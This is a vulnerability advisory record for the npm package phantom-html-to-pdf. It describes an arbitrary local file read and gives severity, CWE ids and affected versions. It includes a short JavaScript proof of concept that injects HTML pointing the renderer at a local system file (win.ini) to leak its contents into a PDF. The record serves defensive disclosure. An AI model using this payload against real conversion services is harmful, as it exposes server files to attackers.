GHSA-6h7f-qwqm-35pp

Suggest an improvement
Source
https://github.com/advisories/GHSA-6h7f-qwqm-35pp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/11/GHSA-6h7f-qwqm-35pp/GHSA-6h7f-qwqm-35pp.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-6h7f-qwqm-35pp
Aliases
Published
2020-11-06T18:06:16Z
Modified
2025-01-08T07:43:36.749832Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Arbitrary File Read in phantom-html-to-pdf
Details

This affects the package phantom-html-to-pdf before 0.6.1.

PoC

var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
    html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
    console.log(pdf.numberOfPages);
    pdf.stream.pipe(output);
});
Database specific
{
    "cwe_ids": [
        "CWE-200",
        "CWE-22"
    ],
    "severity": "HIGH",
    "github_reviewed_at": "2020-11-06T18:02:24Z",
    "github_reviewed": true,
    "nvd_published_at": "2020-11-05T14:15:00Z"
}
References

Affected packages

npm / phantom-html-to-pdf

Package

Name
phantom-html-to-pdf
View open source insights on deps.dev
Purl
pkg:npm/phantom-html-to-pdf

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.6.2

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/11/GHSA-6h7f-qwqm-35pp/GHSA-6h7f-qwqm-35pp.json"

last_known_affected_version_range

"< 0.6.1"